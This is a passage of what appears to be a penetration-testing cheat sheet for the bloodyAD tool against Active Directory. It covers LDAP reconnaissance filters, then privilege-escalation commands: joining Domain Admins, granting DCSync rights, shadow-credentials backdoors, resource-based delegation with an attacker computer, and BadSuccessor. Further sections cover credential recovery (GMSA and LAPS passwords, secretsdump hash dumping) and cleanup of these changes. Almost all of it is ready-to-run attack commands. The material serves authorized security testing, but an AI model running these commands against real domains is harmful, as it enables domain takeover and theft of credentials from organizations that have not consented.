bloodyAD --host DC_IP -d domain -u user -p pass get object "Domain Admins" --attr member

# Object attributes
bloodyAD --host DC_IP -d domain -u user -p pass get object john.doe
bloodyAD --host DC_IP -d domain -u user -p pass get object john.doe --attr userAccountControl,memberOf --resolve-sd

# Children of an OU
bloodyAD --host DC_IP -d domain -u user -p pass get children --target "OU=Finance,DC=domain,DC=com"

# Domain trusts
bloodyAD --host DC_IP -d domain -u user -p pass get trusts --transitive

# DNS records
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump

# BloodHound data collection
bloodyAD --host DC_IP -d domain -u user -p pass get bloodhound

# Forest-wide search (Global Catalog)
bloodyAD --host DC_IP -d domain -u user -p pass --gc get search \
  --filter "(objectClass=user)" --attr sAMAccountName,mail

# All enabled users
--filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"

# All computers
--filter "(objectClass=computer)"

# Kerberoastable accounts (SPN set, not disabled)
--filter "(&(objectClass=user)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"

# ASREProastable accounts (pre-auth disabled)
--filter "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"

# Unconstrained delegation (computers, excl. DCs)
--filter "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))"

# LAPS-managed machines
--filter "(&(objectClass=computer)(ms-Mcs-AdmPwdExpirationTime=*))"

# Pre-Windows 2000 machine accounts
--filter "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"

# AdminSDHolder-protected objects
--filter "(&(adminCount=1)(objectClass=user))"

Privilege Escalation

# Add yourself to Domain Admins
bloodyAD --host DC_IP -d domain -u user -p pass add groupMember "Domain Admins" user

# Grant DCSync rights
bloodyAD --host DC_IP -d domain -u user -p pass add dcsync user

# Grant GenericAll on a target
bloodyAD --host DC_IP -d domain -u user -p pass add genericAll targetUser attackerUser

# Take ownership of an object
bloodyAD --host DC_IP -d domain -u user -p pass set owner targetUser attackerUser

# Set RBCD on a target computer
bloodyAD --host DC_IP -d domain -u user -p pass add computer EVILPC$ 'Password123!'
bloodyAD --host DC_IP -d domain -u user -p pass add rbcd DC01$ EVILPC$

# Shadow Credentials backdoor
bloodyAD --host DC_IP -d domain -u user -p pass add shadowCredentials targetUser

# Disable Kerberos pre-auth (ASREPRoasting)
bloodyAD --host DC_IP -d domain -u user -p pass add uac targetUser -f DONT_REQ_PREAUTH

# Force RC4 on an account (Kerberoasting)
bloodyAD --host DC_IP -d domain -u user -p pass set object svc_account \
  msDS-SupportedEncryptionTypes --raw --b64 -v "BAAAAA=="

# Add SPN to a user (make Kerberoastable)
bloodyAD --host DC_IP -d domain -u user -p pass set object svc_account \
  servicePrincipalName -v "HTTP/evil.domain.com"

# BadSuccessor — create DMSA inheriting DA privileges
bloodyAD --host DC_IP -d domain -u user -p pass add badSuccessor evilDMSA \
  -t "CN=Administrator,CN=Users,DC=domain,DC=com"

Credential Recovery

# GMSA password
bloodyAD --host DC_IP -d domain -u user -p pass get object 'svc_gmsa$' \
  --attr msDS-ManagedPassword

# LAPS password
bloodyAD --host DC_IP -d domain -u user -p pass get object 'COMPUTER$' \
  --attr ms-Mcs-AdmPwd

# Shadow Credentials → hash (then use certipy)
bloodyAD --host DC_IP -d domain -u user -p pass add shadowCredentials targetUser
certipy auth -pfx targetUser.pfx -dc-ip DC_IP

# DCSync (after granting rights)
impacket-secretsdump domain/user:pass@DC_IP -just-dc

Cleanup

# Revoke DCSync
bloodyAD --host DC_IP -d domain -u admin -p pass remove dcsync attackerUser

# Remove from group
bloodyAD --host DC_IP -d domain -u admin -p pass remove groupMember "Domain Admins" attackerUser

# Remove shadow credentials
bloodyAD --host DC_IP -d domain -u admin -p pass remove shadowCredentials targetUser

# Remove RBCD
bloodyAD --host DC_IP -d domain -u admin -p pass remove rbcd DC01$ EVILPC$

# Remove computer account
bloodyAD --host DC_IP -d domain -u admin -p pass remove object EVILPC$

# Restore UAC (re-enable pre-auth)
bloodyAD --host DC_IP -d domain -u admin -p pass remove uac targetUser -f DONT_REQ_PREAUTH

# Reset password
bloodyAD --host DC_IP -d domain -u admin -p pass set password targetUser 'OriginalPass123!'

Useful Flag Combos

# JSON + jq for scripting
bloodyAD --host DC_IP -d domain -u user -p pass --json get writable | jq '.[].distinguishedName'

# LDAPS + Kerberos (hardened environments)
bloodyAD --host DC_HOSTNAME -d domain -u user -k -s get object john.doe

# Specify DNS when hostname won't resolve
bloodyAD --host DC_HOSTNAME --dc-ip DC_IP -d domain -u user -p pass --dns DC_IP get object john.doe

# Debug verbosity
bloodyAD --host DC_IP -d domain -u user -p pass -v DEBUG get object john.doe

# Quiet output (no noise)
bloodyAD --host DC_IP -d domain -u user -p pass -v QUIET get writable

References

  • GitHub: https://github.com/CravateRouge/bloodyAD
  • Wiki: https://github.com/CravateRouge/bloodyAD/wiki
  • User Guide: https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
  • Auth Methods: https://github.com/CravateRouge/bloodyAD/wiki/Authentication-Methods
  • Articles: https://cravaterouge.com/articles/

← Tool references top ↑